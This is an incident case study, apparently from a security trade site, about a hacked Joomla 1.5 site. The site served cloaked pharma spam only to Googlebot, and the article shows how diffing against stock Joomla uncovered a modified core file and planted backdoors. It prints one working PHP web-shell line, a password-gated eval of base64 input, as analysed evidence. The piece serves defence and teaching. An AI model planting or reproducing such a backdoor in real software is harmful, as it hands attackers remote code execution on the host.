In a perfect world, we would all learn about preventing hack attacks before they happen. But sometimes the hack happens first and the lessons come second. This is the tale we are talking about today – based, in true Hollywood tradition, on a true story.

The lead in this story is a mid-sized organization – large enough that its website plays an important public role in operations but small enough that the few full-timers are very busy and there is no budget for any dedicated IT staff. We’ll call this organization Victim Inc.

Google was the first to sense something was wrong at Victim Inc. Web search results that included Victim Inc.’s website were tagged with a warning: “This site may be compromised.” Victim Inc. was aware of the red flag but did not know what it meant.

Decoding “This Site May Be Compromised”

Google uses this warning for sites where there is reason to be suspect even though its scanners have not detected actual malware (which triggers a different and more serious warning).


Google flags a site when it contains content which seems to be spam. Yet if you saw this warning and clicked through to Victim Inc.’s website, you would not see any spam. The site looked just fine -- another reason that Victim Inc. allowed the situation to persist.

In this case, the hack which injected spam into the site only did so when the page was loaded by the Google crawler. This could be proven by changing the “user agent” of a desktop browser like Firefox using an add-on such as User Agent Switcher. When Firefox was set to (falsely) report itself as the Googlebot, voila – the Web content at Victim Inc. was riddled with visible spam (in this case, links to popular medications – aka “pharma spam”).

To remove the spam from the site, Victim Inc. needed to find the code which was injecting it into the legitimate content.

Looking for a Hack in a Haystack

The website for Victim Inc. is built on the open source content management system (CMS) called Joomla, in this case an older 1.5.x version. It was clear the spam itself was not permanently planted into site content – for example, the spam links would change after every few page refreshes. Looking at the page content in Joomla revealed nothing suspicious.

Looking at the source of the Web page in a browser also revealed nothing suspicious such as Javascript functions that might be generating the spam. To be sure you are looking at the “raw” source code, either disable Javascript in the browser or retrieve the page using a commandline client like wget to prevent any Javascript from actually executing.

Like most content management systems, Joomla is a complex architecture. Before raw content is published, it is processed by a whole chain of modules – meaning that the hacked code responsible for the spam could live virtually anywhere within the whole Joomla stack. A thorough knowledge of Joomla might have helped narrow down the possible hiding places for the malicious code, but another route proved just as fruitful.

By downloading a “stock” version of the exact same version of Joomla from its official website, it was possible to run a diff – or analysis of differences – between it and the live version running on Victim Inc.’s host. Windows users can download the free WinMerge to perform this type of compare using a nice GUI.

Looking at the whole haystack, some differences are to be expected – configuration files, stylesheets, images. But in this case, several suspects stood out bearing further investigation.

The Hack Revealed

The hack planted into Victim Inc. was clearly designed to target Joomla. As revealed by looking through the diff results, the key modification was made to a core library – specifically, libraries/joomla/application/component/view.php.

Deep inside this file containing many legitimate Joomla functions, a new function had been added, unassumingly named _retrieveData(). The content of the function constructed an HTTP request to a specific server – a server setup to deliver spam. The server varied the exact spam upon each request, which explains what was observed earlier.

Inside each HTTP request sent to the server was a parameter containing details about the hacked site such as its IP address and the path to the hacked file. This information would have allowed the hackers to maintain up-to-date logs on which hacked servers were still doing their bidding and perhaps vulnerable to additional compromises.

Replacing the hacked file with an original copy from the stock Joomla install eliminated the spam injection. Sorry, hackers. Case closed, right? But wait, there’s more…

The results of the diff compare yielded several other suspect files, all called thumbs.php but residing in directories which have no corresponding file in the stock Joomla.

Below the Tip of the Iceberg

Each identical copy of thumbs.php that was inserted into Victim Inc.’s Joomla install contained a single line of code:

<?php
if(md5($_POST["password"])=="6642245162522b990f6a256a63c3655f"){eval(ba
se64_decode($_POST["code"]));} ?>

What we are looking at is a backdoor. The spam hack was actually only the secondary hack to Victim Inc. This single line of code is the primary and more damaging hack, one which potentially exposes Victim Inc. to a world of hurt.

The logic to this backdoor is simple: When this thumbs.php file is accessed by the hacker, it evaluates the password provided in the parameter password. If the hacker has supplied the correct password (encoded here as an MD5 hash rather than the actual password), the code then executes any PHP code the hacker has stuffed into a parameter named code.

With that, the hacker could virtually own Victim Inc.’s hosting account, if not the whole hosting server itself. With the right code, hackers could deliver to themselves any file in the user account and possibly files elsewhere on the server. There are many factors at play that will determine how vulnerable the server is, including file permissions and the Web server configuration.

The Hack's Chain of Events

Chances are the backdoor was the first hack to Victim Inc. The hackers knew they were working with a Joomla site, so the backdoor was probably planted by exploiting a known flaw in Joomla or one of its extensions. Had this site been proactively upgraded to a new version of Joomla, the first hack might never have been possible.

With the backdoor in place, the hackers were easily able to overwrite the view.php core library with their own modified version containing the spam injection code. Victim Inc. and their Web hosting provider are lucky this is all they did.

Epilogue

Every hack is a serious hack. As this real-life case study demonstrates, even a hack that seems subtle at first can be a symptom of something much more serious.

By neglecting the clues early on, Victim Inc.’s site was left exposed for significantly longer than necessary. Only after the fact was it learned that the hackers had installed a complete backdoor.

There are many good reasons to use a CMS, but content management systems have many moving parts that expose a large surface area to potential attacks. When using any CMS for a production site, it is critically important to keep it up to date or else attackers will pounce like cats on an open can of cheap tuna.

Aaron Weiss is a technology writer and frequent contributor to eSecurity Planet and Wi-Fi Planet.